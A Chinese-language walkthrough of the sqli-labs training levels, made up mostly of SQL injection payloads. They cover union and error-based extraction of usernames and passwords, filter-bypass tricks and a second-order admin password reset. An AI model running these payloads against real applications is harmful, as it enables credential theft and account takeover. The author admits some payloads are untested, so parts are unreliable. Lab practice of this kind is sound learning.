还是admin+admin登录
可以看出uname是base64加密过的,解码得到:admin。
那么本关和less-20相似,只是cookie的uname值经过base64编码了。
抓包看一下也是如此
那么我们只需要上传paylaod的时候base64加密一下就可以了
base64加密工具直接在百度上搜就行
先将单引号进行编码jw==可以发现报错
再输入payload:YWRtaW4nIGFuZCAxPTEgLS0r //解码后为admin' and 1=1 --+
根据报错提示,要用')闭合
所以
爆库:LWFkbWluJykgdW5pb24gc2VsZWN0IDEsMixkYXRhYmFzZSgpIw==
//解码后:-admin') union select 1,2,database()#
接下来爆表:LWFkbWluJykgdW5pb24gc2VsZWN0IDEsMixncm91cF9jb25jYXQodGFibGVfbmFtZSkgZnJvbSBpbmZvcm1hdGlvbl9zY2hlbWEudGFibGVzIHdoZXJlIHRhYmxlX3NjaGVtYT0nc2VjdXJpdHknIw==
//解码后:-admin') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'#
爆列:LWFkbWluJykgdW5pb24gc2VsZWN0IDEsMixncm91cF9jb25jYXQoY29sdW1uX25hbWUpIGZyb20gaW5mb3JtYXRpb25fc2NoZW1hLmNvbHVtbnMgd2hlcmUgdGFibGVfbmFtZT0ndXNlcnMnIw==
//解码后:-admin') union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'#
爆数据:LWFkbWluJykgdW5pb24gc2VsZWN0IDEsMixncm91cF9jb25jYXQodXNlcm5hbWUsaWQscGFzc3dvcmQpIGZyb20gdXNlcnMj
//解码后:-admin') union select 1,2,group_concat(username,id,password) from users#
本关和less-21一样需要用base64编码,只需要使用 " 代替 ') ,再加密写入cookie就行了
还是用同样的base64加密工具
爆库:LWFkbWluIiB1bmlvbiBzZWxlY3QgMSwyLGRhdGFiYXNlKCkj
//解码后:-admin" union select 1,2,database()#
其他的不再细说了(已全部测试过,绝对好使)
本关又和上几关不一样了
现在还不清楚其的传参方式,看下源码:
看来本题是get传参,且其替换了能用的注释符
所以我们改用or来替换注释符进行闭合,以此构造payload并在上方url输入即可
爆库:?id=' union select 1,2,database() '
爆表:?id=' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() or '1'= '
爆列:?id=' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' or '1'= '
爆数据:?id=' union select 1,group_concat(username),group_concat(password) from users where 1 or '1' = '
界面又变了
这次貌似是一个登录界面,我们用admin+admin可以登录成功并显示让我们修改密码
点击Logout退出登录,我们试着去注册一个新用户admin'#,密码随便写
(单引号是为了和之后密码修的用户名的单引号进行闭合,#是为了注释后面的数据。)
登录admin'#,修改该帐号的密码,此时修改的也是admin的密码
Sql语句变为UPDATE users SET passwd="New_Pass" WHERE username =' admin' # ' AND password='
也就是执行了UPDATE users SET passwd="New_Pass" WHERE username =' admin'
假设我们修改为123456,修改成功回显如下,此时admin的密码也被修改为了123456
用admin+123456登录
登录成功
第二十五关根据提示是将or和and这两个替换成空,但是只替换一次。大小写绕过没有用。我们可以采用双写绕过。本次关卡使用联合注入就可以了,information里面涉及or可写为infoorrmation,包括password也要写成passwoorrd。
在上方url注入就可以了
爆库:?id=' union select 1,2,database() --+
爆表:?id=' union select 1,2,group_concat(table_name) from infoorrmation_schema.tables where table_schema=database() --+
爆列:?id=' union select 1,2,group_concat(column_name) from infoorrmation_schema.columns where table_name='users' --+
爆数据:?id=' union select 1,2,group_concat(username,0x7e,passwoorrd) from users --+
这关相比前几关肯定过滤了更多东西,直接查看源码:
这里id仍为get传参,但是用blacklist过滤了
查看blacklist:
将逻辑运算符,注释符以及空格给过滤了,我们需要使用单引号进行闭合,双写绕过逻辑运算符或者使用&&和||替换。
%09 TAB键(水平)、%0a 新建一行、%0c 新的一页、%0d return功能、%0b TAB键(垂直)、%a0 空格
我是windows系统,可能是因为apache解析不了,所以无法使用一些特殊的字符替换空格,从而就不能使用空格绕过了。但是报错注入空格使用比较少所以可以使用报错注入。
爆库:?id=1'||(updatexml(1,concat(0x7e,database(),0x7e),1))||'0
爆表:?id=1'||(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema='security'))),1))||'0
爆列: ?id=1'||(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(infoorrmation_schema.columns)where(table_schema='security'aandnd(table_name='users')))),1))||'0
爆数据:?id=1'||(updatexml(1,concat(0x7e,(select(group_concat(passwoorrd,username))from(users))),1))||'0
这关与26的区别在于,sql语句添加了一个括号,同时在sql语句执行抛出错误后并不在前台页面输出。所有就不能用报错注入了,只能用联合,但是联合需要用到空格,windows系统又不能用特殊符号代替空格,这题就只放payload了:
爆库:
?id=1')%0bunion%0bselect%0b1,database(),3%0b||('1')=('1
爆表:
?id=1')%0bunion%0bselect%0b1,group_concat(table_name),3%0bfrom%0binfoorrmation_schema.tables%0bwhere%0btable_schema='security'%26%26('1')=('1
爆列:
?id=1')%0bunion%0bselect%0b1,group_concat(column_name),3%0bfrom%0binfoorrmation_schema.columns%0bwhere%0btable_schema='security'%0baandnd%0btable_name='users'%26%26('1')=('1
爆数据:
?id=1')%0bunion%0bselect%0b1,group_concat(passwoorrd),3%0bfrom%0busers%0bwhere%0b('1')=('1
直接看源码:
和二十六差不多,不过二十七关没有过滤and和or,过滤了select和union,我们可以大小写绕过以及重写绕过。
爆库:?id=1'or(updatexml(1,concat(0x7e,database(),0x7e),1))or'0
爆表:?id=1'or(updatexml(1,concat(0x7e,(selselecselecttect(group_concat(table_name))from(information_schema.tables)where(table_schema='security'))),1))or'0
爆列:?id=1'or(updatexml(1,concat(0x7e,(selselecselecttect(group_concat(column_name))from(information_schema.columns)where(table_schema='security'and(table_name='users')))),1))or'0
爆数据:?id=1'or(updatexml(1,concat(0x7e,(selselecselecttect(group_concat(password,username))from(users))),1))or'0
本关过滤规则也27关一样,可以使用大小写绕过或双写绕过,是双引号且页面不显示报错信息,所以无法使用报错注入,需要使用盲注和联合注入。还是那个问题,windows无法用特殊字符替换空格,直接放payload:
爆库:?id=1"%a0And%a0(length(database())>8)%a0uNion%a0sELect%a01,database(),"3
爆表:?id=1"%a0And%a0(length(database())>8)%a0uNion%a0sELect%a01,(group_concat(table_name)),3%a0from%a0information_schema.tables%a0where%a0table_schema='security'%a0%26%26%a0"1"%a0="1
爆列:?id=1"%a0And%a0(length(database())>8)%a0uNion%a0sELect%a01,(group_concat(column_name)),3%a0from%a0information_schema.columns%a0where%a0table_schema='security'%a0And%a0table_name='users'%26%26%a0"1"%a0="1
爆数据:?id=-1"%a0And%a0(length(database())>8)%a0UNion%a0SElect%a0(1),(group_concat(username)),(3)from%a0users%a0UNion%a0SElect%a01,2,"3"="3
查看源码:
该关卡过滤了注释符,空格还过滤了union和select。\s表示空格,+表示匹配一次或多次,/i表示不区分大小写,所以整体表示匹配 union加一个或多个空格加select,其中union和select不区分大小。所以我们可以使用双写绕过。payload:
爆库:(这句我对照着写的,windows系统也无法确定对不对。。。)
?id=0')uniunion%0Aselecton%0Aselect%0A1,2,database(),3%0band('1
爆表:
?id=0')uniunion%0Aselecton%0Aselect%0A1,2,group_concat(table_name)from%0Ainformation_schema.tables%0Awhere%0Atable_schema='security'and('1
爆列:
?id=0')uniunion%0Aselecton%0Aselect%0A1,2,group_concat(column_name)from%0Ainformation_schema.columns%0Awhere%0Atable_schema='security'%0Aand%0Atable_name='users'%0Aand('1
爆数据:
?id=0')uniunion%0Aselecton%0Aselect%0A1,2,group_concat(password,username)from%0Ausers%0Aand%0A('1
查看源码:
该关卡只过滤union+select。其他没有过滤,哇哇哇
那就直接整吧:
爆库:?id=0') uniunion selecton select 1,2,database()--+
爆表:?id=0')uniunion selecton select 1,2,group_concat(table_name)from information_schema.tables where table_schema=database() --+
爆列:?id=0')uniunion selecton select 1,2,group_concat(column_name)from information_schema.columns where table_name='users' --+
爆数据: ?id=0')uniunion selecton select 1,2,group_concat(username,0x7e,password) from users--+
查看源码
二十九关就是会对输入的参数进行校验是否为数字,但是在对参数值进行校验之前的提取时候只提取了第一个id值,如果我们有两个id参数,第一个id参数正常数字,第二个id参数进行sql注入。sql语句在接受相同参数时候接受的是后面的参数值。
其和25关差不多且不用双写or(个人感觉)
爆库:?id=' union select 1,2,database() --+
爆表:?id=' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--+
爆列:?id=' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
爆数据:?id=' union select 1,2,group_concat(username,0x7e,password) from users--+
和29题一样,将单引号改为双引号就行了,最后再自己写一遍,就不放图了
payload:
爆库:?id=" union select 1,2,database() --+
爆表:?id=" union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--+
爆列:?id=" union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
爆数据:?id=" union select 1,2,group_concat(username,0x7e,password) from users--+
本靶场当两关过关方式相同而只需改符号时,不建议直接复制粘贴然后改符号,这样会改变某些数值,我也不确定是不是电脑的问题,就是有时候一模一样的代码直接复制粘贴过来传上去不好使,而自己写一遍再传上去就好使了。